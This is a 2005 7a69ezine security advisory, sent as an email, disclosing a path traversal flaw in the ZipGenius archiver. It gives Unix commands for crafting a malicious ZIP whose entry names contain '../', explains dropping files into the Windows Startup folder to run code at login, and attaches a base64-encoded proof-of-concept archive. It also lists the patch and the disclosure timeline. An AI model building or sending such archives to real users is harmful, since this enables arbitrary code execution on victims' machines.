7a69Adv#19 - ZipGenius unpack path disclosure

[Albert Puigsech Galicia]

--Boundary-00=_vxIACsGzQ+mQP+H
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

=2D ------------------------------------------------------------------
=A0 =A0 =A0 =A07a69ezine Advisories =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
=A07a69Adv#19
=2D ------------------------------------------------------------------
=A0 http://www.7a69ezine.org =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0[02/02/2005]
=2D ------------------------------------------------------------------

Title: =A0 =A0 =A0 =A0ZipGenius unpack path disclosure

Author: =A0 =A0 =A0 Albert Puigsech Galicia - <ripe@7a69ezine.org>

Software: =A0 =A0 ZipGenius

Versions: =A0 =A0 >=3D 5.5

Remote: =A0 =A0 =A0 yes

Exploit: =A0 =A0 =A0yes

Severity: =A0 =A0 Medium-High

=2D ------------------------------------------------------------------



I. Introduction.

=A0ZipGenius is a file compression suite that supports more than 20 formats=
of=20
compressed archives including RAR, ARJ, ACE, CAB, SQX and ZIP. It's free an=
d=20
easy to use, and you can download it from http://www.zipgenius.it.



II. Description.

=A0ZipGenius does not check before unpacks if the file has "../" on its nam=
e,=20
concecuently it's posible to create a malicious ZIP file that allocate file=
s=20
on arbitary folders. Other formats instead ZIP may be also afected.



III. Exploit

=A0If you try to overwrite a file ZipGenius shows a confirmation message, s=
o=20
it's better for explotation purposes to create new files, but It's not a=20
problem to execute arbitrari code because you can create, for example,=20
startup files on 'C:\Documents and settings\All Users\Start=20
menu\Programs\Start' that will be executed after next user's login.=20

=A0It's easy to create a malicious Zip file with some UNIX tools as seen in=
the=20
following sample:

=A0$ touch ..o..o..o..o..o..o..ofile
=A0$ zip malicious.zip ..o..o..o..o..o..o..ofile
=A0$ ht malicious.zip =A0#Hexadecimal editor to change 'o' by '/' on the fi=
lename.
=A0$ touch dummy
=A0$ zip malicious.zip dummy =A0#To recalculate CRC.

=A0If you don't know how to do it you can use the ZIP file attached to chec=
k the=20
vulnerability.
=A0


IV. Patch

Update to ZipGenius 6 Beta.


V. Timeline

02/01/2005 =A0- =A0Bug discovered
10/01/2005 =A0- =A0Mail sent to zginfo@zipgenius.it
16/01/2005 =A0- =A0Mail sent to zginfo@zipgenius.it again
18/01/2005 - Vendor response
20/01/2005 - Solved in beta version
02/02/2005 - Advisor released



VI. Extra data

=A0You can find more 7a69ezine advisories on this following link:

=A0 =A0 http://www.7a69ezine.org/avisos/propios [spanish info]

--Boundary-00=_vxIACsGzQ+mQP+H
Content-Type: application/x-zip;
name="malicious.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="malicious.zip"

UEsDBAoAAAAAALFBQjIAAAAAAAAAAAAAAAAZABUALi4vLi4vLi 4vLi4vLi4vLi4vLi4vZmlsZVVU
CQADrosAQq6LAEJVeAQA6ANkAFBLAwQKAAAAAADYQUIyAAAAAA AAAAAAAAAABQAVAGR1bW15VVQJ
AAP3iwBC94sAQlV4BADoA2QAUEsBAhcDCgAAAAAAsUFCMgAAAA AAAAAAAAAAABkADQAAAAAAAAAA
AKSBAAAAAC4uLy4uLy4uLy4uLy4uLy4uLy4uL2ZpbGVVVAUAA6 6LAEJVeAAAUEsBAhcDCgAAAAAA
2EFCMgAAAAAAAAAAAAAAAAUADQAAAAAAAAAAAKSBTAAAAGR1bW 15VVQFAAP3iwBCVXgAAFBLBQYA
AAAAAgACAJQAAACEAAAAAAA=

--Boundary-00=_vxIACsGzQ+mQP+H--